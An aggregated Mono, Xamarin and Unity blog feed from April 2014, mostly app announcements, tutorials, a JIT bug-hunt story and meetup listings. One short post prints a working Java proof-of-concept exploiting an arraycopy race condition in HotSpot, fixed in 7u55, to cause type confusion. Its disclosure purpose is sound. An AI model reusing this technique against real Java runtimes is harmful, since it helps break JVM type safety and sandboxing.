Disclaimer: this is an automatic aggregator which pulls feeds and comments from many blogs of contributors that have contributed to the Mono project. The contents of these blog entries do not necessarily reflect Xamarin's position.

April 23

Getting Fit With Xamarin Apps

My StepCounter for iOSEvery day Xamarins are getting fit cycling, running, planking, rock climbing, and just about every other activity you can think of. We carry around our mobile devices with us every where we go and a few of us felt that they should be our fitness companions that rest in our pocket during these activities. A little over a month ago fellow Xamarin, Mike James, released My StepCounter for iOS. This is an elegant pedometer that takes advantage of the iPhone 5s’ built in M7 chip and the new Core Motion APIs in iOS 7. Best of all Mike also open sourced the entire project on GitHub for anyone to try out the source code for themselves.

My StepCounter AppIconToday, two new Xamarins are pleased to announce their fitness apps for Android. James Montemagno took the challenge of taking Mike’s My StepCounter and bringing it to Android using the latest Android 4.4 KitKat low power step sensor APIs. James combined this new API with animations and an ADO.NET database to take My StepCounter to the next level. Today, he announced that he has open sourced the project on GitHub and the app is available to download on Google Play.


My StepCounter for Android My StepCounter for Android

Xamarin Starter CompatibleMy StepCounter on both iOS and Android join a library of apps that were built to be Starter Edition Compatible. Starter Edition is our free tier, which allows anyone to get a taste of mobile development in C# by writing small apps which can be deployed to devices and published to app stores.

Bikr IconBikr AnimationsMaybe you prefer cycling over walking, well Jérémie Laval has you covered with Bikr. Bikr was built out of a passion for cycling and takes advantage of the latest Google Play Services Component to track your mileage while cycling on a daily, weekly, and monthly basis. In addition to tracking, Jérémie has also crafted some lovely animations to show you your progress. You can find Bikr available right now on Google Play and Jérémie is pleased to announce that he has open sourced Bikr for you to get your hands on.

Now that we have showed you a few of our apps we want you to show us your apps! Head over to our Community Forums where several of you have already been sharing the amazing apps that you have been creating with Xamarin.

Show Us Your Apps!

We can’t wait to see what you create with Xamarin.

The Mouse and the Asset Store: The Story of Ghost of a Tale

During the Ghost of a Tale Indiegogo campaign, many were surprised to learn that this game wasn’t the work of a whole studio of developers. According to Lionel Gallat, the veteran animator behind this little gem, being a one person studio isn’t what it used to be. And that’s a good thing.

“I get a lot of indispensable help from a lot of people. There are so many things I can’t do. I needed a proper programmer helping me. Same with music.” The crowdsourced funds allow him to pay freelancers and use the Unity Asset Store as much as he needs to.

“It’s indispensable, I find a lot of things there that are the building blocks of my game,” says Gallat. As an artist, he didn’t expect it to be so useful. “But soon enough, I found tools that I needed to build the game’s world. I don’t waste time trying to reinvent the wheel.”

When he worked as an animation director for such films as Despicable Me and The Lorax, big technical teams were available to adjust details at short notice. Often, he could just walk over to somebody’s desk and ask. As an indie developer, he doesn’t really have the same options.

Fortunately, the Unity community has been very helpful. “I send requests to developers of different assets, when I need some extra features. Most of the time, they’re really helpful and adjust the assets quickly, which is really great.”

However, in a few instances, communication with developers was an issue. “For example whenever there is an important bug to be fixed and the publisher is not quite responsive about it.” Gallat would like the publishers to consider how hard this is on small teams.“I’m mostly doing the thing on my own, so if they give up on support, there’s nothing I can do. Thankfully it doesn’t happen too often and the vast majority of publishers I worked with do offer excellent support.”

The assets that Lionel Gallat, aka Seith, praises the most are those that help him to achieve high-end graphics.

Decal textures are those that overlay other textures, providing a more detailed and realistic feel to the rocky terrain of the Ghost of a Tale world. Decal system allowed Gallat to use them easily and without burdening the performance of the game. And it’s one of those assets with helpful and swift support.  “It’s amazing. The support is top-notch, and this system allows me to slap beautiful decals anywhere I want at almost no cost. Oh, and it’s free—although I donated money because it’s so good,” he said.

Recently, all the game’s shaders have been converted to physically-based shaders using the Shader Forge tool. Why was this effort worth it? “It just looks so much better. Physically Based Shaders are more intuitive. Non physical shaders have always been a bit of a cheat and they tend to break in different lightning conditions,” explains Gallat.

 

But the main reason for the switch was that programming shaders took too much time. He needed an artist-friendly tool that would better suit his workflow.

“Shader forge is great, the manipulation, the UI, everything feels very integrated to Unity,” he says. “ The developer, Joachim Holmer, also assisted me with some customization. It was very fast, the features that I needed were already in the next beta.”

Ghost of a Tale is progressing at a brisk pace and Lionel Gallat hopes that his work will be even easier once he gets his hands on Unity 5, which he has already pre-ordered. “I’m really looking forward to all the graphics features, especially to real-time Global Illumination. Also, the Mecanim updates will come in handy.”

Whatever features are in the new version of Unity, however, the Ghost of a Tale developer plans to keep taking advantage of the Asset Store. “It’s always great to supplement skills that I don’t have. People specialize, develop very specific things that can be extremely useful”.

So when are we going to get our hands on the game? “We’ll probably going to show the game around at conventions in Europe during the summer. I really can’t wait to show that the screenshots that I post are in-game footage and not just concept-art!”

April 22

Tips & Tricks for Highly Performing Android ListViews

I have been working with Xamarin.Android for a long time now and one question I get asked quiet often is how to optimize the Android ListView. Xamarin apps are native apps, which means that out of the box your app will take advantage of all of the optimizations that come with these views in the framework; however, when Google implemented the ListView they left out a few additional optimizations that developers can take advantage of to ensure a great user experience. Let’s first look at how the ListView and their adapters actually work:

Cell Reuse in Android ListView Adapters

What we see here is that Android is optimized for cell reuse. It will never take the number of cells that are displayed and cycle through them, so as your user scrolls through the list and a cell goes off the screen it is put into a recycle bin and then put back on top to be reused again. Let’s look at the standard code out of the box when creating an adapter and then optimize it:

First I will create a simple item for my adapter. It consists of two TextViews and one ImageView.

A simple android list adapter cell

BaseAdapter

For this example I have created a new Adapter and inherited from BaseAdapter. When I implement the GetView method, I could simply inflate the view, find the controls, and set the properties on them:

public override View GetView (int position, View convertView, ViewGroup parent)
{
  var view = activity.LayoutInflater.Inflate (Resource.Layout.OptimizedItem, null);
  var textView1 = view.FindViewById<TextView> (Resource.Id.textView1);
  var textView2 = view.FindViewById<TextView> (Resource.Id.textView2);
  var imageView = view.FindViewById<ImageView> (Resource.Id.imageView);
  textView1.Text = Names [position];
  textView2.Text = Descriptions [position];
  imageView.SetImageResource (Names [position].ToLower().Contains ("xamarin") ?
				   Resource.Drawable.hexagongreen :
				   Resource.Drawable.hexagopurple);
  return view;
}

There are a few issues with this implementation, which is that we are inflating the view and locating the controls each time GetView gets called. So let’s fix that.

Take Advantage of ConvertView

The first optimization we will want to make is to take advantage of the convertView that is passed into this method. In the official documentation for GetView it tells us exactly what the convertView is: “The old view to reuse, if possible. Note: You should check that this view is non-null and of an appropriate type before using. If it is not possible to convert this view to display the correct data, this method can create a new view.”

This means that if the convertView is null then we should inflate the view else we can simply fine the controls on view and set them.

public override View GetView (int position, View convertView, ViewGroup parent)
{
  var view = convertView;
  if(view == null) {
    view = activity.LayoutInflater.Inflate (Resource.Layout.OptimizedItem, null);
  }
  var textView1 = view.FindViewById<TextView> (Resource.Id.textView1);
  var textView2 = view.FindViewById<TextView> (Resource.Id.textView2);
  var imageView = view.FindViewById<ImageView> (Resource.Id.imageView);
  textView1.Text = Names [position];
  textView2.Text = Descriptions [position];
  imageView.SetImageResource (Names [position].ToLower().Contains ("xamarin") ?
				   Resource.Drawable.hexagongreen :
				   Resource.Drawable.hexagopurple);
  return view;
}

Now we will only inflate the view when necessary. This immediately leads to increased performance of our ListView, but we can do even better!

Implement a ViewHolder

The second issue I noted was that we are having to locate the controls with FindViewById every single time GetView is called, which can lead to performance issues. The way to get around having to use FindViewById is to implement a “ViewHolder” design pattern.

We will create a ViewHolder class to store all of the controls that are inside of the view so we can access them immediately without the need to use FindViewById each time. The first thing we will do is create a class to store the information:

private class MyViewHolder : Java.Lang.Object
{
  public TextView Name { get; set; }
  public TextView Description { get; set; }
  public ImageView Image { get; set; }
}

You might be wondering why we are inheriting from Java.Lang.Object, well the reason for this is because each view has a Tag property, that can be used to store information. The Tag property is of type Java.Lang.Object, so that forces us to inherit from it. Now that we have the ViewHolder setup we can finish the optimization by populating it, storing it inside the view, and accessing the controls from the holder instead of calling FindViewById:

public override View GetView (int position, View convertView, ViewGroup parent)
{
  MyViewHolder holder;
  var view = convertView;
  if(view != null)
    holder = view.Tag as MyViewHolder;
  if (holder == null) {
    holder = new MyViewHolder ();
    view = activity.LayoutInflater.Inflate (Resource.Layout.OptimizedItem, null);
    holder.Name = view.FindViewById<TextView> (Resource.Id.textView1);
    holder.Description = view.FindViewById<TextView> (Resource.Id.textView2);
    holder.Image = view.FindViewById<ImageView> (Resource.Id.imageView);
    view.Tag = holder;
  }
  holder.Name.Text = Names [position];
  holder.Description.Text = Descriptions [position];
  holder.Image.SetImageResource (Names [position].ToLower().Contains ("xamarin") ?
				 Resource.Drawable.hexagongreen :
				 Resource.Drawable.hexagopurple);
  return view;
}

There you have it, with just a few quick changes you will have your Adapters fully optimized to create the best user experience possible for your app. A few other notes, while I only mentioned the ListView these same optimizations can be used on your adapters for GridViews as well. Additionally, it is recommended to inherit from BaseAdapter instead of using an ArrayAdapter when exposing C# objects to avoid unnecessary bridge interaction when working in Xamarin.Android.

Discuss this blog post in the Xamarin Forums

On Hunting the Uncommon Elephant

Hunting bugs is fun.  And every now and then you get away alive with a story to bore your grandkids with (“In my days, we still hunted bugs with sticks and stones” and all).

First bug ever found. Taped into log for evidence.

GDC 2014 had another such trophy-worthy hunting safari in store for us.  We were five days away from presenting Unity 5 to the world when we “spotted” (well, it was kinda hard to miss) an ugly little elephant of a bug: our shiny new 64-bit editor was randomly crashing on OSX to the point of being completely unusable.  There’s just nothing like being up on stage to showcase how awesome your bug reporter is every couple minutes.

So, Levi, Jonathan and I dropped all the awesome stuff we’re working on (more stories we want to bore our grandkids with) and went stalking.  All we knew at that point was that it crashed somewhere in the native code that Mono generates at run-time.

As every programmer knows, when you’re faced with a bug that isn’t obvious, you simply start by gathering evidence.  Once you’ve learned enough about the bug’s behavioral patterns, you’ll eventually get a shot at it.  And with the clock ticking, we were ready to shoot at pretty much anything.

But we were stumped.  For an elephant, the bug turned out to be surprisingly agile and sneaky.

It seemed to happen only on OSX 10.9 although Kim saw something that looked markedly similar on Windows with his heavy duty memory debugger branch.  And if you enabled Guard Malloc on earlier versions of OSX, you got what looked fairly similar as well.  However, as it was crashing in random script code at arbitrary depths in the call hierarchy, it was difficult to say with certainty what was the same crash and what wasn’t.  And the crash could be consistent for ten consecutive runs only to be totally different for the next five.

So while Kim and I waded knee-high through memory and thigh-high through assembly code, Levi ran an extensive trace on all of Mono’s secret and not so secret activities to generate a gigabyte log and an editor that ran at the speed of my grandma.  This yielded the first interesting insight: apparently we were always compiling the method we crashed in right before things got ugly.

But what made it crash?  The immediate cause was that we were trying to execute code from an invalid address.  How did we get there?  A bug in Mono’s signal handling where we don’t resume properly?  A bug in Mono’s JIT compiler that won’t jump back properly to the compiled code?  A different thread corrupting stack memory on the main thread?  Fairies and grumkins? (for a bit, the latter seemed the most likely).

After two days of hunting, the elephant was still well alive and out and about.

So, Saturday night I equipped myself with a notebook, four different colored pens and an ample supply of beer from our trademark Unity fridge (carefully making sure I don’t touch the awful canned Christmas beer we still have stuck in its crevices ).  Then I spun up Unity instances until I had four different crashes frozen in the debugger, labeled them “Red Crash”, “Blue Crash”, “Green Crash”, and “Black Crash” and went to work with my respectively colored pens to take notes and draw some not-so-pretty diagrams of everything I found.

Here’s my notes for Blue Crash:

BlueCrashNotes

And that’s when I made my first discovery: in every case, the stack was 16 bytes larger than it should be!

That then led to the next discovery: for all crashes, looking at those extra 16 bytes turned up a return address back into the function we crashed in.  From a trace it was clear that in all cases we already had executed some calls from the same method, and at first I thought the address was from the last call we had traced.  However, closer inspection revealed that it was actually the return address for a call whose method had not been compiled yet!

This puzzled me for a moment as in some cases there were several calls in-between the last traced method and this call that hadn’t been compiled yet either.  Looking closer, however, revealed that we always had jumped around them.

So, then I looked at that function we apparently were supposed to return from…

DebuggerCrashshot

And there we have it (highlighted in blue):  We were jumping in the wrong direction!

What Mono does here is create little “trampoline” functions that contain only a call to the JIT compiler and some data encoded into the instruction stream after the call (used by the JIT compiler to know which method to compile).  Once the JIT compiler has done its work, it will delete those trampolines and erase every trace of having hooked into the method call.

However, the call instruction you see there is what is called a “near call” which incidentally uses a signed 32-bit offset to jump relative to the next instruction.

And since a signed 32-bit number can reach only 2GB up and down and we’re running 64-bit here, we suddenly knew why heap memory layout played such a crucial role in reproducing the bug: once Mono’s trampolines were further than 2GB away from the JIT compiler, offsets wouldn’t fit anymore into 32-bit and would get truncated when emitting the call instruction.

At that point, Jonathan quickly pinpointed the right fix and by the time his Sunday was over, we had a stable working build ready in time for GDC.

You all know the history from there.  We successfully demoed Unity 5 at GDC 2014 to rave reviews and after launch, it quickly became the most beloved piece of software ever.  Oh wait, that bit is yet to come…

Before that launch, there’s a whole lot more black and blue crashes to fix :) .

Bikr, delicious ride tracker

Today I’m introducing Bikr, a new Android application to track your bicycle rides.

It’s a no fuss, down to fundamental app that records how many miles you cycle and gives you a roundup per day, week and month. It will also show how you compare with the previous corresponding metrics (i.e. yesterday, previous week, previous month).

Best of all is that you don’t have to do anything. Thanks to Google Activity Recognition APIs, the app will take care of itself meaning you can just bike and forget about it.

The app is built using Xamarin as you would expect and you can find the entire source code at garuma/bikr on GitHub. As usual, code is under the Apache 2.0 license which basically mean you can reuse whatever you want.

It’s also available for download on the Play Store.

This is a joint release with James Montemagno’s MyStepCounter Android app, check it out too!

April 17

Welcome Playnomics to the Unity Family!

More exciting news for you today!

We’re incredibly proud of our engine and development tools. We’re so pleased with where they are and where they’re going, that it would be easy to sit back and be happy with the impact our tools and business decisions have made in games development overall.

But game developers live and die not just by being able to create awesome games, but also by being able to connect with and keep a great audience.

We’re continuing our steps forward towards providing all of the developers using Unity the best tools to make their businesses a success after the process of creating an awesome game is complete. We announced the acquisition of Everyplay for this purpose, right before GDC and today we’re happy to tell you all that we’ve reached an agreement to acquire Playnomics and bring their talented and experienced team on board. As part of Unity, they’ll further develop their awesome technology to be part of the suite of services for Unity Cloud.

Much like Everyplay (even if very differently), Playnomics works on solving the challenges that developers face in unique ways. Playnomics has developed tools that help identify the ways that players interact with games and help you as a developer to make real-time decisions on how to interact with the community to keep them having fun and coming back for more.

The new integration of the Playnomics services into Unity Cloud is a work in progress, but once ready, you’ll have another tool in our increasingly comprehensive toolbelt of services you guys need to be successful across the board.

In the meantime, make sure to check out the new SDK. It’s currently available on the Playnomics website and will also be heading to the Asset Store soon. Give it a look!

David Helgason

Extending the Unity Editor

The Unity editor is almost infinitely extendable. While we’re always  working on improving all the out of the box functionalities of the editor, anybody can make custom extensions.

There are thousands of editor extensions out there, some are only used by developers on specific projects, but a lot of them are accessible through the Asset Store. They bring Unity to new heights, enable less experienced programmers to reach higher and save everybody some time.

It’s easy to get lost among the hundreds of assets in the Editor Extensions category, so we picked a few hidden treasures for your enjoyment. Check them out to make sure you’re not missing out on a good deal that can make your life easier!

JustLogic Visual Programming by Aqla Solutions

Do you have the whole logic of your game in your head? With this tool, you can bring it to life straight in the inspector or even in runtime! Seriously, if you’re looking for an easy to use, non-expensive visual scripting tool, give it a try. The publisher also made a series of tutorialsto help you get going.

uDev GUI Framework by Graveck

Graveck, one of the first studios to make a bet on Unity, is sharing their internal GUI toolset with the whole community. The asset builds on their long term relationship with the engine and therefore fits the editor like a snug glove. Smooooth!

udev2

Cruncher by RealWorldUnity.com

Having a Unity Pro, you’re probably serious about having properly designed and optimized models that don’t weigh down your game’s performance. The Cruncher is a big help along the way, especially for mobile devs. It reduces the polygons of your models right inside the editor.

cruncher

Voxeland by Denis Pahunov

Step into the wonderful world of Voxeland! It’s basically a landscape creation tool that allows you to modify your both in editor and in-game in realtime. It comes with everything you need to start prototyping right away: land, cliff and grass textures, tree objects, shaders, scripts and even a simple sky. We spent wayyyy too much time just playing around with the demo!

Or make your own extensions!

Easy In App Purchases for iOS

Xamarin.iOS makes it easy to use Apple’s StoreKit API to include In App Purchasing in our iOS mobile applications. However, there’s quite a bit of repetitive code that has to be created for every app that includes it.

That’s where the new Xamarin.InAppPurchase component can help!

Xamarin.InAppPurchase in Use

Using Xamarin.InAppPurchase, we can easily and quickly add iTunes App Store In App Purchasing of products, features or subscriptions to our iOS mobile applications. All without any of the repetitive code required when calling StoreKit directly.

Working with Product Identifiers

By decorating our Product Identifiers with specific keywords, we can have Xamarin.InAppPuchase automatically handle things such as the product type, subscription duration, consumable quantities and downloading of hosted content from the iTunes App Store.

For example, we can use product.nonconsumable to define a non-consumable product, gold.coins.consumable_x25 a consumable package of 25 gold coins, magazine.subscription.duration1month an auto renewing monthly subscription and antivirus.nonrenewingsubscription.duration6months a non-renewing six month subscription.

So let’s take a look at how easy it is to get a list of available In App Products from the iTunes App Store with Xamarin.InAppPurchase by using the following code:

using Xamarin.InAppPurchase;
using Xamarin.InAppPurchase.Utilities;
...
public InAppPurchaseManager PurchaseManager = new InAppPurchaseManager ();
...
// Ask the iTunes App Store to return information about available In App Products for sale
PurchaseManager.QueryInventory (new string[] {
"product.nonconsumable",
"gold.coins.consumable_x25",
"newsletter.freesubscription",
"magazine.subscription.duration1month",
"antivirus.nonrenewingsubscription.duration6months",
"content.nonconsumable.downloadable",
});

After this code runs, the PurchaseManager will contain a list of any valid products with all of the localized information read from the iTunes App Store, ready for us to display to the end user.

When the user is ready to buy a given item, we can use the following code to start the purchase process with the iTunes App Store:

// Ask iTunes App Store to purchase product
PurchaseManager.BuyProduct (Product);

We can then monitor several of the events exposed by the PurchaseManager to update the app’s UI or activate new content or features. At any time we can ask if a given product has been purchased using:

// Was the feature purchased?
if (PurchaseManager.ProductPurchased("my.nonconsumabe.feature")) {
...
}

In addition, Xamarin.InAppPurchase will automatically track our consumable product quantities and subscription expiration dates and provides methods to work with them easily.

Secure Automatic Persistence

The Xamarin.InAppPurchase component includes ways to automatically and securely persist the user’s purchased products. This information can be stored either to the app’s user preferences, a local file, iCloud, or our own custom persistence methods.

Now, let’s look at restoring previous purchase history that has been automatically saved by the Xamarin.InAppPurchase component. We’ll add the following code before our call to QueryInventory above:

// Setup automatic purchase persistence and load any previous purchases
PurchaseManager.automaticPersistenceType = InAppPurchasePersistenceType.LocalFile;
PurchaseManager.PersistenceFilename = "AtomicData";
PurchaseManager.shuffleProductsOnPersistence = false;
PurchaseManager.RestoreProducts ();

With this code in place the Xamarin.InAppPurchase component automatically saves any changes to the user’s purchased products and restores that history when our iOS app starts.

Simulating the iTunes App Store

There are several situations that can arise when working with In App Purchases, many of which can be hard to test for. The Xamarin.InAppPurchase component provides the ability to simulate interaction with the iTunes App Store so we can fully test out our application. This helps to ensure and provide a smooth, issue free In App Purchase experience for our users.

Xamarin.InAppPurchase running in simulation

When running in the simulation mode, decorate your product identifiers with specific keywords to test such things as invalid product IDs, failed purchases, hosted content download, etc. You can even test products before they are added to iTunes Connect and can test In App Purchases inside the iOS Simulator on a Mac.

Let’s look at how easy it is to run the Xamarin.InAppPurchase component in the simulation mode. We’ll modify our code above to look like the following:

// Initialize the purchase manager
PurchaseManager.simulateiTunesAppStore = true;
...
// Ask the iTunes App Store to return information about available In App Products for sale
PurchaseManager.QueryInventory (new string[] {
    "product.nonconsumable",
    "feature.nonconsumable",
    "feature.nonconsumable.fail",
    "gold.coins.consumable_x25",
    "gold.coins.consumable_x50",
    "gold.coins.consumable_x100",
    "newsletter.freesubscription",
    "magazine.subscription.duration1month",
    "antivirus.nonrenewingsubscription.duration6months",
    "antivirus.nonrenewingsubscription.duration1year",
    "product.nonconsumable.invalid",
    "content.nonconsumable.downloadable",
    "content.nonconsumable.downloadfail",
    "content.nonconsumable.downloadupdate"
});
...
// Setup the list of simulated purchases to restore when doing a simulated restore of purchases
// from the iTunes App Store
PurchaseManager.simulatedRestoredPurchaseProducts = "product.nonconsumable,antivirus.nonrenewingsubscription.duration6months,content.nonconsumable.downloadable";

Now we can run our iOS mobile app and test interactions such as the purchasing of a product failing, downloading of hosted content failing halfway through, or any other event that can happen with In App Purchases.

For more details about the Xamarin.InAppPurchase component and to get a full demo iOS application built using it on the Xamarin Component Store.

April 16

Epic Evolve Sessions

Last year, Xamarin Evolve 2013 hosted over 80 training and conference sessions on a vast array of topics. This year will be even bigger. Join us in October for Xamarin Evolve 2014, with a full extra day to make room for even more amazing sessions. If you didn’t get to attend last years conference or just want to catch up on the great sessions that were presented you can watch online right now. Here are just a few of our favorites from Xamarin Evolve 2013 that you don’t want to miss:

How C# Saved My Marriage, Enhanced My Career, and Made Me an Inch Taller

with Scott Hanselman

Multiplatformism: Lessons Learned Bringing Bastion to Six New Platforms

with Andrew Wang

Getting the Most from Xamarin Studio

with Michael Hutchinson

Push Notifications with PushSharp

with Jonathan Dick

Buttons are a Hack

with Josh Clark

If you enjoyed these sessions, we have all the videos from Xamarin Evolve 2013 online. And you definitely don’t want to miss Xamarin Evolve 2014 in October — two full days of training from Xamarin University followed by three days live sessions from Xamarin and Industry experts. Don’t wait, Register for Evolve 2014 today!

Arraycopy HotSpot Vulnerability Fixed in 7u55

Here is a simple PoC exploit for the issue fixed here:

class Union1 { }
class Union2 { }

class arraytoctou {
  static volatile Union1 u1 = new Union1();

  public static void main(String[] args) {
    final Union1[] arr1 = new Union1[1];
    final Union2[] arr2 = new Union2[1];
    new Thread() {
      public void run() {
        for(;;) {
          try {
            System.arraycopy(arr1, 0, arr2, 0, 1);
            if (arr2[0] != null) break;
          } catch (Exception _) { }
        }
      }
    }.start();

    while (arr2[0] == null) {
      arr1[0] = null;
      arr1[0] = u1;
    }

    System.out.println(arr2[0]);
  }
}

April 15

C# Meetups featuring Google Glass, Bluetooth LE & More

Community growth continues to be explosive with new Mobile .NET developer groups starting all over the world. This month, we have already seen the inaugural meeting for a new group in Paris, France, and we are pleased to announced two new groups in Tampa Bay, FL and Madison, WI! So, April isn’t over yet as it packed full meetups happing everywhere on vast topics from MvvmCross, Intro to Xamarin, and Bluetooth LE!

Mobile .NET Developers Meetups April 2014

Here are some upcoming Xamarin developer group meetups:

New Group: Tampa Bay Xamarin User Group usa flag

  • Tampa Bay, FL: Wednesday, April 16th 7:00PM
  • First TBXUG Meeting – Intro to Xamarin

Boston Mobile C# Developers Group usa flag

  • Cambridge, MA: Thursday, April 17th 6:30PM
  • Developing for Google GlassChris Hardy, Xamarin

.NET BC canada flag

  • Vancouver, BC: Tuesday, April 22nd 6:00PM
  • Cross Platform Mobile Development for the C# Developer with XamarinJames Montemagno, Xamarin

New Group: Madison Mobile .NET Developers Group us

  • Madison, WI: Wednesday, April 23rd 5:30PM
  • Introduction to Xamarin

Dutch Mobile .NET Developers Group Netherlands flag

  • Aalsmeer, Netherlands: Thursday, April 24th 6:00PM
  • Responsive design and Bluetooth LE

Vancouver .NET Mobile Developers Group Canada

  • Vancouver, BC: Thursday, April 24th 6:30PM
  • Mobile Development Techniques using C# and MvvMCross

Detroit Mobile .Net Users Group us

  • Southfield, MI: Monday, April 28th 6:00PM
  • Build / Xamarin Recap, Humanitarian Toolbox

Sydney Mobile .Net Developers Group Australia Flag

  • Sydney, Australia: Tuesday, April 29th 6:30PM
  • Build 2014 and Cross Platform Visual State Management

If you don’t see your city listed above, don’t worry as new events and developer group meetups are being added frequently on the Xamarin Events forum.

If you are interested in starting a developer group in your city we are here to help you get started. We have tips and trick on staring a developer group, a brand new introduction to Xamarin slide deck, and of course our community sponsorship program to get you on your way. We also want to hear from you so please feel free to send us an email or tweet @XamarinHQ so we can help spread the word and continue to grow the Xamarin community.

April 14

Documentation for our new iOS Designer

The team has put together some beautiful getting started documentation for our iOS User Interface Designer.

In particular, check a couple of hot features on it:

Mono on PS4

We have been working with a few PlayStation 4 C# lovers for the last few months. The first PS4 powered by Mono and MonoGame was TowerFall:

We are very excited about the upcoming Transistor, by the makers of Bastion, coming out on May 20th:

Mono on the PS4 is based on a special branch of Mono that was originally designed to support static compilation for Windows's WinStore applications [1].

[1] Kind of not very useful anymore, since Microsoft just shipped static compilation of .NET at BUILD. Still, there is no wasted effort in Mono land!

Turn your character into a player!

This blog post will run you through the steps to import, animate and control your character as a player in Unity. It is designed to be 3D package agnostic, so whether you use Max, Maya, Blender or any of the many supported modelling programs, you should find what you need to turn your character model into a player in a Unity scene. The sample assets will provide all the animations needed for controlling the character, but of course you can add you own. In this example I’ve created a Lola3000 character inspired by Barberella, Soroyama & Metropolis amongst other influences and brought her to life, running through a tricky landscape of floating islands high above a sci-fi cityscape. NewMainImage

Follow the 12 Steps

We’ll begin with steps you can use to prepare and rig your character, before adding BlendShapes, verifying and then importing your rigged file into Unity. We’ll then set up some of the materials and shaders so that you can get your character looking it’s best. Next we will be creating an avatar to match your character rig and set it up for animation using a 3rd person controller with the Unity sample assets. We’ll load in a custom animation and setup a blendshape layer to further customise the character. Finally we’ll add lights and fx to the environment and camera to finish the look. SupportingImage_02   1 Preparing your Model Unity is a real-time platform, so prepare your model to look good without breaking the bank polygon wise. Name your materials and textures sensibly and use normal maps for extra detail, there are no polygon limits but the more you use, the less you have to spend on environment, FX and other characters. 5-25,000 can be a good range to aim for, depending on platform – so reduce polygons with the tools in your 3D package where necessary. Place your textures in a folder called textures within your Unity project assets folder and re-path them before you export. Character2Player__0000_Step_001   2 Rigging your character This stage will depend on your 3D package, skills and time available. Once your model is prepared in a t-pose you can either create a bone hierarchy from scratch – assigning skin weights – use your 3D package in-built tools to generate and skin to a skeleton, or use a fully automated solution like Mixamo Autorigger. In Maya for example, use Human IK, 3DSMax has Biped/CAT along with the skin modifier and Blender provides Rigify, as a few examples to create your skeleton hierarchy and assist with skinning. See Mecanim> preparing your own character in the documentation for more details. Character2Player__0001_Step_002   3 Set up BlendShapes Unity supports BlendShapes (Morph targets) so decide which part of the character requires morphing, and set up in your package appropriately, using BlendShapes in Maya, Morpher in 3DS Max and Shape Keys in Blender for example. This is often used for phoneme shapes when animating a talking face and works by assigning morphed shapes of the same number of vertices (often a duplicate of the original) to a target so that you can blend between versions to obtain different shapes without animating a complex bone hierarchy. Character2Player__0002_Step_003   4 Verify and export This stage is important to minimize errors and troubleshooting when you set up your model later. Remove unused meshes and extraneous assets like lights or cameras from your scene, or simply use the export selected if you 3D package allows. Use the FBX file format if you can, to allow for file portability and simplicity – if you have your own animation clips be sure to check the animation check box in the export dialogue. Re-importing your exported model into the 3D package is often a good way to verify your model before bringing it into Unity. Character2Player__0003_Step_004   5 Importing your model You can drag your FBX into the Project pane, or if you exported here already your model will be picked up automatically. You can select your model in the project browser and set up the options in the inspector panel. You should probably leave most of these as default, but check the Scale Factor, as scale can vary hugely depending on units used in your 3D package and your export settings. Click apply and drag the model into the Scene. You can create a (1m) cube to make sure the scale is correct and readjust. Character2Player__0004_Step_005   6 Setting up your materials in Unity Select your character in the scene and observe the associated material(s) in the inspector, these should have been created in materials folder where your model is exported. Each material has a drop down for shader, choose one appropriately e.g. Bumped Specular, so that you can define a base colour (tint) specular colour and the texture maps for the diffuse (Base RGB), gloss in the alpha channel and a normal map to add surface detail. Reflective materials can also have a cubemap assigned for reflections, which you can render once in the Unity editor or realtime (pro) for dynamic reflections. Character2Player__0005_Step_006 7 Creating an avatar Once imported your character model needs to have an avatar applied, this will map your skeleton to an avatar to use with any humanoid animation. Select the character model FBX file in your Project pane. Select the Rig tab and choose Humanoid for ‘Animation Type’ – click configure to create and configure. If your rig is good to go it will all be in green, otherwise assign bones to the correct slots or revisit your bone hierarchy and re-export to closer match the avatar. You can test your skinning in the Muscles tab by dragging the sliders. Click Done when finished. Character2Player__0006_Step_007 8 Adding a controller Unity sample assets provide all you need to control your player. From the project window, drag the Third Person Character prefab from the Sample Assets\Characters and vehicles\Third person Controller\prefabs folder into your scene. In your Hierarchy delete the Ethan node underneath Third Person Character. Drag your character node on top of your Third Person Character node which has all scripts,  parameters and the player tag already assigned. From the Cameras\Prefabs folder drag the Free Look camera rig into the scene, add and position a ‘plane’ game object and press Play! Character2Player__0007_Step_008 9 Adding your animation If you have imported or acquired animation from the store, you can replace the animations from the character animator. Select your character root node, Open the animator from the Window menu – This opens a pane that manages which state your character is in and therefore which animation to play. Double click Grounded state to open a blend tree for when you character is on the ground. Select the blend tree and over in the inspector click the little circle next to an animation to choose another. Press play to preview then stop and make adjustments as necessary. Character2Player__0008_Step_009 10 Adding BlendShapes and tweaking your character Create an animation in your source package which blends between two or more meshes, as outlined in step 3. Re-export your mesh and include animation > morphs in the FBX dialogue. In Unity create a new layer in your animator window set blending to additive and weight: 1, then drag in your clip from the project window, create an empty state and right click > Make transition – and transition to and from the clip. Set a condition for this e.g. forward: greater than 0.5 for to - and forward: Less than 0.5 for from transition in the inspector. Character2Player__0009_Step_010 11 Adding environment, lights and settings To immerse yourself in the game you can planes & primitives to create a greybox test environment to play about in, or use levels from the sample assets or asset store and of course import your own environment artwork. Any imported artwork needs to have ‘Generate Colliders’ checked and applied in the inspector, for the imported file in the project view, so that you can walk on the surface etc. Create a ‘directional light’ from the Create button at the top of the hierarchy and adjust the parameters in the inspector. Character2Player__0010_Step_011 12 Adding Post FX and polish Unity pro includes a number of full screen Image FX that can help improve the look of your scene. Separate the ‘Game’ view by dragging the tab out to preview. Select the ‘Main Camera’ node under the Free Look Camera Rig. In the inspector click Add Component > Image Effects > Camera > Depth of field – for example – to retain focus on your character, but blurring the background akin to a wide aperture. You can add as many others as your eyes and frame rate can handle so try vignette, bloom, ambient occlusion, so go ahead & play!

Here are some Useful resources to continue with your project:

To follow the video tutorial click Play >

 

Codebits 2014 - 3 days of fun

Wherein I spend three days demo'ing the Oculus Rift, hacking on a portable VR rig with a Raspberry Pi, riding RiftCycles, and mobilizing the entire medical emergency and firemen staff on call due to an extremely nuclear chili experience (rumours of my demise were greatly exagerated).

This year our usual group occupied the usual couple of tables at Codebits and split up into three projects - Pew Pew Pew!, an attempt at building a portable VR experience of a First Person Shooter with an Oculus Rift, a Kinect and a Raspberry Pi; Wolf of Codebits, a stock exchange built on top of the Meo Wallet infrastructure using the "money" that was distributed for testing to everyone at Codebits; and Nelo, the winner of the event's top prize, a Knee Lock for Polio patients to replace the metal harness that they traditionally have to use, using free and open technology like Arduino, Bitalino sensors and 3D printing and based on the idea of a chinese finger trap.



